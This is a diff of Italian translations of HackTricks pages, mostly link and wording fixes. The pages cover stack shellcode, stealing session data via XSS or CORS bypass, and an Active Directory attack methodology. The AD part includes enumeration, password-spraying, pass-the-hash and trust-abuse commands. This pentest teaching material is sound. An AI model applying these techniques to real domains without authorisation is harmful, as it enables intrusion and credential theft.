+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
+- La protezione **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarà eseguibile.
 
 ## Altri Esempi & Riferimenti
 
@@ -84,6 +84,6 @@ Il **NOP slide** (`asm('nop')`) è usato per aumentare la possibilità che l'ese
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
 - 32 bit, ASLR con leak dello stack, scrivi shellcode e salta a esso
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR con leak dello stack, confronto per prevenire la chiamata a exit(), sovrascrivi la variabile con un valore e scrivi shellcode e salta a esso
+- 32 bit, ASLR con leak dello stack, confronto per prevenire la chiamata a exit(), sovrascrivi una variabile con un valore e scrivi shellcode e salta a esso
 
 {{#include ../../../banners/hacktricks-training.md}}

src/stealing-sensitive-information-disclosure-from-a-web.md

@@ -5,9 +5,9 @@
 Se a un certo punto trovi una **pagina web che ti presenta informazioni sensibili basate sulla tua sessione**: Potrebbe riflettere cookie, stampare dettagli della carta di credito o qualsiasi altra informazione sensibile, potresti provare a rubarla.\
 Qui ti presento i principali modi per cercare di ottenerla:
 
-- [**CORS bypass**](pentesting-web/cors-bypass.md): Se riesci a bypassare le intestazioni CORS, sarai in grado di rubare le informazioni effettuando una richiesta Ajax per una pagina malevola.
-- [**XSS**](pentesting-web/xss-cross-site-scripting/): Se trovi una vulnerabilità XSS sulla pagina, potresti essere in grado di abusarne per rubare le informazioni.
-- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Se non puoi iniettare tag XSS, potresti comunque essere in grado di rubare le informazioni utilizzando altri tag HTML regolari.
+- [**CORS bypass**](pentesting-web/cors-bypass.md): Se riesci a bypassare le intestazioni CORS, sarai in grado di rubare le informazioni eseguendo una richiesta Ajax per una pagina malevola.
+- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Se trovi una vulnerabilità XSS nella pagina, potresti essere in grado di abusarne per rubare le informazioni.
+- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Se non puoi iniettare tag XSS, potresti comunque essere in grado di rubare le informazioni utilizzando altri tag HTML regolari.
 - [**Clickjaking**](pentesting-web/clickjacking.md): Se non c'è protezione contro questo attacco, potresti essere in grado di ingannare l'utente per inviarti i dati sensibili (un esempio [qui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ./banners/hacktricks-training.md}}

src/todo/stealing-sensitive-information-disclosure-from-a-web.md

@@ -6,8 +6,8 @@ Se a un certo punto trovi una **pagina web che ti presenta informazioni sensibil
 Qui ti presento i principali modi per cercare di ottenerla:
 
 - [**CORS bypass**](../pentesting-web/cors-bypass.md): Se riesci a bypassare le intestazioni CORS, sarai in grado di rubare le informazioni eseguendo una richiesta Ajax per una pagina malevola.
-- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Se trovi una vulnerabilità XSS sulla pagina, potresti essere in grado di abusarne per rubare le informazioni.
-- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Se non puoi iniettare tag XSS, potresti comunque essere in grado di rubare le informazioni utilizzando altri tag HTML regolari.
+- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Se trovi una vulnerabilità XSS sulla pagina, potresti essere in grado di abusarne per rubare le informazioni.
+- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Se non puoi iniettare tag XSS, potresti comunque essere in grado di rubare le informazioni utilizzando altri tag HTML regolari.
 - [**Clickjaking**](../pentesting-web/clickjacking.md): Se non c'è protezione contro questo attacco, potresti essere in grado di ingannare l'utente per inviarti i dati sensibili (un esempio [qui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/README.md

@@ -69,14 +69,14 @@ Se hai solo accesso a un ambiente AD ma non hai credenziali/sessioni, potresti:
 - Raccogli credenziali **esponendo** [**falsi servizi UPnP con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
 - Estrai nomi/utenti da documenti interni, social media, servizi (principalmente web) all'interno degli ambienti di dominio e anche da quelli pubblicamente disponibili.
-- Se trovi i nomi completi dei lavoratori dell'azienda, potresti provare diverse **convenzioni di nome utente AD** (**[leggi questo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Le convenzioni più comuni sono: _NomeCognome_, _Nome.Cognome_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _lettere casuali e 3 numeri casuali_ (abc123).
+- Se trovi i nomi completi dei lavoratori dell'azienda, potresti provare diverse **convenzioni di nome utente AD** (**[leggi questo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Le convenzioni più comuni sono: _NomeCognome_, _Nome.Cognome_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _CognomeNome_, _Cognome.Nome_, _CognomeN_, _Cognome.N_, 3 _lettere casuali e 3 numeri casuali_ (abc123).
 - Strumenti:
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
 
 ### Enumerazione utenti
 
-- **Enumerazione SMB/LDAP anonima:** Controlla le pagine [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
+- **Enumerazione SMB/LDAP anonima:** Controlla le pagine [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
 - **Enumerazione Kerbrute**: Quando viene **richiesto un nome utente non valido**, il server risponderà utilizzando il codice di errore **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permettendoci di determinare che il nome utente era non valido. I **nomi utente validi** genereranno o il **TGT in una risposta AS-REP** o l'errore _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando che l'utente deve eseguire la pre-autenticazione.
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@@ -112,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
 Ok, quindi sai di avere già un nome utente valido ma nessuna password... Allora prova:
 
 - [**ASREPRoast**](asreproast.md): Se un utente **non ha** l'attributo _DONT_REQ_PREAUTH_ puoi **richiedere un messaggio AS_REP** per quell'utente che conterrà alcuni dati crittografati da una derivazione della password dell'utente.
-- [**Password Spraying**](password-spraying.md): Proviamo le **password più comuni** con ciascuno degli utenti scoperti, forse qualche utente sta usando una password debole (tieni presente la politica delle password!).
+- [**Password Spraying**](password-spraying.md): Proviamo le **password più comuni** con ciascuno degli utenti scoperti, magari qualche utente sta usando una password debole (tieni presente la politica delle password!).
 - Nota che puoi anche **spray i server OWA** per cercare di accedere ai server di posta degli utenti.
 
 {{#ref}}
@@ -141,7 +141,7 @@ Se puoi **accedere ad altri PC o condivisioni** con l'**utente null o guest** po
 
 ## Enumerare Active Directory CON credenziali/sessione
 
-Per questa fase devi avere **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai alcune credenziali valide o una shell come utente di dominio, **dovresti ricordare che le opzioni fornite prima sono ancora opzioni per compromettere altri utenti**.
+Per questa fase devi aver **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai alcune credenziali valide o una shell come utente di dominio, **dovresti ricordare che le opzioni fornite prima sono ancora opzioni per compromettere altri utenti**.
 
 Prima di iniziare l'enumerazione autenticata dovresti sapere qual è il **problema del doppio salto Kerberos.**
 
@@ -156,12 +156,12 @@ Aver compromesso un account è un **grande passo per iniziare a compromettere l'
 Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possibile utente vulnerabile, e per quanto riguarda [**Password Spraying**](password-spraying.md) puoi ottenere un **elenco di tutti i nomi utente** e provare la password dell'account compromesso, password vuote e nuove password promettenti.
 
 - Potresti usare il [**CMD per eseguire una ricognizione di base**](../basic-cmd-for-pentesters.md#domain-info)
-- Puoi anche usare [**powershell per la ricognizione**](../basic-powershell-for-pentesters/) che sarà più furtivo
+- Puoi anche usare [**powershell per la ricognizione**](../basic-powershell-for-pentesters/index.html) che sarà più furtivo
 - Puoi anche [**usare powerview**](../basic-powershell-for-pentesters/powerview.md) per estrarre informazioni più dettagliate
 - Un altro strumento fantastico per la ricognizione in un active directory è [**BloodHound**](bloodhound.md). Non è **molto furtivo** (a seconda dei metodi di raccolta che usi), ma **se non ti importa** di questo, dovresti assolutamente provarlo. Scopri dove gli utenti possono RDP, trova percorsi verso altri gruppi, ecc.
 - **Altri strumenti automatizzati per l'enumerazione AD sono:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 - [**Record DNS dell'AD**](ad-dns-records.md) poiché potrebbero contenere informazioni interessanti.
-- Un **strumento con GUI** che puoi usare per enumerare la directory è **AdExplorer.exe** della **SysInternal** Suite.
+- Un **strumento con GUI** che puoi usare per enumerare la directory è **AdExplorer.exe** dal **SysInternal** Suite.
 - Puoi anche cercare nel database LDAP con **ldapsearch** per cercare credenziali nei campi _userPassword_ & _unixUserPassword_, o anche per _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) per altri metodi.
 - Se stai usando **Linux**, potresti anche enumerare il dominio usando [**pywerview**](https://github.com/the-useless-one/pywerview).
 - Potresti anche provare strumenti automatizzati come:
@@ -169,9 +169,9 @@ Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possib
 - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
 - **Estrazione di tutti gli utenti di dominio**
 
-È molto facile ottenere tutti i nomi utente del dominio da Windows (`net user /domain`, `Get-DomainUser` o `wmic useraccount get name,sid`). In Linux, puoi usare: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" <DC IP>`
+È molto facile ottenere tutti i nomi utente del dominio da Windows (`net user /domain` ,`Get-DomainUser` o `wmic useraccount get name,sid`). In Linux, puoi usare: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" <DC IP>`
 
-> Anche se questa sezione di Enumerazione sembra piccola, è la parte più importante di tutte. Accedi ai link (principalmente quello di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e pratica finché non ti senti a tuo agio. Durante una valutazione, questo sarà il momento chiave per trovare la tua strada verso DA o per decidere che non si può fare nulla.
+> Anche se questa sezione di Enumerazione sembra piccola, questa è la parte più importante di tutte. Accedi ai link (principalmente quello di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e pratica finché non ti senti a tuo agio. Durante una valutazione, questo sarà il momento chiave per trovare la tua strada verso DA o per decidere che non si può fare nulla.
 
 ### Kerberoast
 
@@ -191,7 +191,7 @@ Una volta ottenute alcune credenziali potresti controllare se hai accesso a qual
 
 Se hai compromesso credenziali o una sessione come utente di dominio regolare e hai **accesso** con questo utente a **qualsiasi macchina nel dominio** dovresti cercare di trovare il modo di **escalare i privilegi localmente e cercare credenziali**. Questo perché solo con privilegi di amministratore locale sarai in grado di **dumpare gli hash di altri utenti** in memoria (LSASS) e localmente (SAM).
 
-C'è una pagina completa in questo libro su [**escalation dei privilegi locali in Windows**](../windows-local-privilege-escalation/) e una [**checklist**](../checklist-windows-privilege-escalation.md). Inoltre, non dimenticare di usare [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+C'è una pagina completa in questo libro su [**escalation dei privilegi locali in Windows**](../windows-local-privilege-escalation/index.html) e una [**checklist**](../checklist-windows-privilege-escalation.md). Inoltre, non dimenticare di usare [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 
 ### Ticket di sessione attuali
 
@@ -205,7 +205,7 @@ C'è una pagina completa in questo libro su [**escalation dei privilegi locali i
 ```
 ### NTML Relay
 
-Se sei riuscito a enumerare l'active directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di forzare attacchi [**relay NTML**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+Se sei riuscito a enumerare l'active directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di forzare attacchi di NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
 
 ### **Cerca Credenziali nelle Condivisioni di Computer**
 
@@ -229,13 +229,13 @@ Questa vulnerabilità ha permesso a qualsiasi utente autenticato di **compromett
 printnightmare.md
 {{#endref}}
 
-## Escalation dei privilegi su Active Directory CON credenziali/sessioni privilegiate
+## Escalation dei privilegi su Active Directory CON credenziali/sessione privilegiate
 
 **Per le seguenti tecniche un normale utente di dominio non è sufficiente, hai bisogno di privilegi/credenziali speciali per eseguire questi attacchi.**
 
-### Estrazione degli Hash
+### Estrazione dell'hash
 
-Speriamo tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalation dei privilegi localmente](../windows-local-privilege-escalation/).\
+Speriamo che tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
 Poi, è tempo di estrarre tutti gli hash in memoria e localmente.\
 [**Leggi questa pagina sui diversi modi per ottenere gli hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
@@ -274,7 +274,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 
 ### Abuso di MSSQL e Link Fidati
 
-Se un utente ha privilegi per **accedere alle istanze MSSQL**, potrebbe essere in grado di usarlo per **eseguire comandi** nell'host MSSQL (se in esecuzione come SA), **rubare** l'**hash** NetNTLM o persino eseguire un **attacco di relay**.\
+Se un utente ha privilegi per **accedere alle istanze MSSQL**, potrebbe essere in grado di usarlo per **eseguire comandi** nell'host MSSQL (se in esecuzione come SA), **rubare** l'**hash** NetNTLM o persino eseguire un **attacco** di **relay**.\
 Inoltre, se un'istanza MSSQL è fidata (link di database) da un'altra istanza MSSQL. Se l'utente ha privilegi sul database fidato, sarà in grado di **utilizzare la relazione di fiducia per eseguire query anche nell'altra istanza**. Queste fiducia possono essere concatenate e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.\
 **I link tra i database funzionano anche attraverso le fiducia tra foreste.**
 
@@ -294,8 +294,8 @@ unconstrained-delegation.md
 
 ### Delegazione Vincolata
 
-Se un utente o un computer è autorizzato per la "Delegazione Vincolata", sarà in grado di **impersonare qualsiasi utente per accedere ad alcuni servizi in un computer**.\
-Quindi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche gli amministratori di dominio) per accedere ad alcuni servizi.
+Se un utente o un computer è autorizzato per la "Delegazione Vincolata", sarà in grado di **impersonare qualsiasi utente per accedere a determinati servizi in un computer**.\
+Quindi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche gli amministratori di dominio) per accedere a determinati servizi.
 
 {{#ref}}
 constrained-delegation.md
@@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
 
 ### Dumping delle Credenziali di Dominio
 
-Una volta ottenuti i privilegi di **Domain Admin** o anche meglio di **Enterprise Admin**, puoi **dumpare** il **database di dominio**: _ntds.dit_.
+Una volta ottenuti i privilegi di **Domain Admin** o anche migliori **Enterprise Admin**, puoi **dumpare** il **database di dominio**: _ntds.dit_.
 
 [**Maggiori informazioni sull'attacco DCSync possono essere trovate qui**](dcsync.md).
 
@@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
 
 ### **Persistenza dei Certificati nel Dominio**
 
-**Utilizzare i certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:**
+**Utilizzare certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:**
 
 {{#ref}}
 ad-certificates/domain-persistence.md
@@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
 
 ### Gruppo AdminSDHolder
 
-L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente ottiene un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata attentamente.
+L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente guadagna un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata attentamente.
 
 [**Maggiori informazioni sul Gruppo AdminDSHolder qui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
 
 ### Credenziali DSRM
 
-All'interno di ogni **Domain Controller (DC)**, esiste un account di **amministratore locale**. Ottenendo diritti di amministratore su una tale macchina, l'hash dell'Amministratore locale può essere estratto utilizzando **mimikatz**. Successivamente, è necessaria una modifica del registro per **abilitare l'uso di questa password**, consentendo l'accesso remoto all'account dell'Amministratore locale.
+All'interno di ogni **Domain Controller (DC)**, esiste un account **amministratore locale**. Ottenendo diritti di amministratore su una tale macchina, l'hash dell'Amministratore locale può essere estratto utilizzando **mimikatz**. Successivamente, è necessaria una modifica del registro per **abilitare l'uso di questa password**, consentendo l'accesso remoto all'account dell'Amministratore locale.
 
 {{#ref}}
 dsrm-credentials.md
@@ -457,7 +457,7 @@ acl-persistence-abuse/
 
 ### Descrittori di Sicurezza
 
-I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se riesci a **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
+I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se puoi solo **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
 
 {{#ref}}
 security-descriptors.md
@@ -506,7 +506,7 @@ Microsoft considera la **Foresta** come il confine di sicurezza. Ciò implica ch
 
 Una [**fiducia di dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) è un meccanismo di sicurezza che consente a un utente di un **dominio** di accedere alle risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, consentendo che le verifiche di autenticazione fluiscano senza problemi. Quando i domini stabiliscono una fiducia, scambiano e mantengono specifiche **chiavi** all'interno dei loro **Domain Controllers (DC)**, che sono cruciali per l'integrità della fiducia.
 
-In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un ticket speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un ticket di servizio (**TGS**). Dopo la validazione riuscita dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio.
+In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un ticket speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un ticket di servizio (**TGS**). Dopo la validazione con successo dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio.
 
 **Passaggi**:
 
@@ -528,7 +528,7 @@ Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello f
 
 - **Fiducia Genitore-Figlio**: Questa è una configurazione comune all'interno della stessa foresta, dove un dominio figlio ha automaticamente una fiducia bidirezionale transitiva con il suo dominio genitore. Essenzialmente, ciò significa che le richieste di autenticazione possono fluire senza problemi tra il genitore e il figlio.
 - **Fiducia Cross-link**: Riferita come "fiducia abbreviata", queste vengono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù fino al dominio target. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi.
-- **Fiducia Esterna**: Queste vengono stabilite tra domini diversi e non correlati e sono di natura non transitiva. Secondo [la documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere alle risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
+- **Fiducia Esterna**: Queste vengono stabilite tra domini diversi e non correlati e sono di natura non transitiva. Secondo [la documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
 - **Fiducia Tree-root**: Queste fiducia vengono stabilite automaticamente tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitività bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
 - **Fiducia tra Foreste**: Questo tipo di fiducia è una fiducia bidirezionale transitiva tra due domini radice di foresta, imponendo anche il filtraggio SID per migliorare le misure di sicurezza.
 - **Fiducia MIT**: Queste fiducia vengono stabilite con domini Kerberos non Windows, [conformi a RFC4120](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
@@ -547,9 +547,9 @@ Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello f
 
 Gli attaccanti potrebbero accedere alle risorse in un altro dominio attraverso tre meccanismi principali:
 
-- **Appartenenza a Gruppi Locali**: I principali potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo “Amministratori” su un server, concedendo loro un controllo significativo su quella macchina.
-- **Appartenenza a Gruppi di Domini Esterni**: I principali possono anche essere membri di gruppi all'interno del dominio esterno. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo.
-- **Liste di Controllo degli Accessi (ACL)**: I principali potrebbero essere specificati in un **ACL**, in particolare come entità in **ACE** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
+- **Appartenenza a Gruppi Locali**: I principi potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo "Amministratori" su un server, concedendo loro un controllo significativo su quella macchina.
+- **Appartenenza a Gruppi di Domini Esterni**: I principi possono anche essere membri di gruppi all'interno del dominio esterno. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo.
+- **Liste di Controllo degli Accessi (ACL)**: I principi potrebbero essere specificati in un **ACL**, in particolare come entità in **ACE** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
 
 ### Escalation dei privilegi da Figlio a Genitore nella foresta
 ```
@@ -582,7 +582,7 @@ sid-history-injection.md
 
 #### Sfruttare la Configurazione NC scrivibile
 
-Comprendere come la Configurazione Naming Context (NC) possa essere sfruttata è cruciale. La Configurazione NC funge da repository centrale per i dati di configurazione in ambienti Active Directory (AD) attraverso una foresta. Questi dati vengono replicati a ogni Domain Controller (DC) all'interno della foresta, con i DC scrivibili che mantengono una copia scrivibile della Configurazione NC. Per sfruttare questo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un DC child.
+Comprendere come la Configurazione Naming Context (NC) possa essere sfruttata è cruciale. La Configurazione NC funge da repository centrale per i dati di configurazione in ambienti Active Directory (AD). Questi dati vengono replicati a ogni Domain Controller (DC) all'interno della foresta, con i DC scrivibili che mantengono una copia scrivibile della Configurazione NC. Per sfruttare questo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un DC child.
 
 **Collegare GPO al sito root DC**
 
@@ -592,7 +592,7 @@ Per informazioni approfondite, si può esplorare la ricerca su [Bypassing SID Fi
 
 **Compromettere qualsiasi gMSA nella foresta**
 
-Un vettore d'attacco coinvolge il targeting di gMSA privilegiati all'interno del dominio. La chiave KDS Root, essenziale per calcolare le password delle gMSA, è memorizzata all'interno della Configurazione NC. Con privilegi SYSTEM su qualsiasi DC, è possibile accedere alla chiave KDS Root e calcolare le password per qualsiasi gMSA nella foresta.
+Un vettore d'attacco implica il targeting di gMSA privilegiati all'interno del dominio. La chiave KDS Root, essenziale per calcolare le password delle gMSA, è memorizzata all'interno della Configurazione NC. Con privilegi SYSTEM su qualsiasi DC, è possibile accedere alla chiave KDS Root e calcolare le password per qualsiasi gMSA nella foresta.
 
 Un'analisi dettagliata può essere trovata nella discussione su [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
 
@@ -604,11 +604,11 @@ Ulteriori letture sono disponibili su [Schema Change Trust Attacks](https://impr
 
 **Da DA a EA con ADCS ESC5**
 
-La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti della Public Key Infrastructure (PKI) per creare un modello di certificato che consente l'autenticazione come qualsiasi utente all'interno della foresta. Poiché gli oggetti PKI risiedono nella Configurazione NC, compromettere un DC child scrivibile consente l'esecuzione di attacchi ESC5.
+La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti di Public Key Infrastructure (PKI) per creare un modello di certificato che consente l'autenticazione come qualsiasi utente all'interno della foresta. Poiché gli oggetti PKI risiedono nella Configurazione NC, compromettere un DC child scrivibile consente l'esecuzione di attacchi ESC5.
 
 Maggiori dettagli su questo possono essere letti in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenari privi di ADCS, l'attaccante ha la capacità di impostare i componenti necessari, come discusso in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
 
-### Dominio Foresta Esterno - Unidirezionale (In entrata) o bidirezionale
+### Dominio Forestale Esterno - Unidirezionale (In entrata) o bidirezionale
 ```powershell
 Get-DomainTrust
 SourceName      : a.domain.local   --> Current domain
@@ -682,7 +682,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
 
 - **Restrizioni per gli Amministratori di Dominio**: Si raccomanda che gli Amministratori di Dominio possano accedere solo ai Controller di Dominio, evitando il loro utilizzo su altri host.
 - **Privilegi degli Account di Servizio**: I servizi non dovrebbero essere eseguiti con privilegi di Amministratore di Dominio (DA) per mantenere la sicurezza.
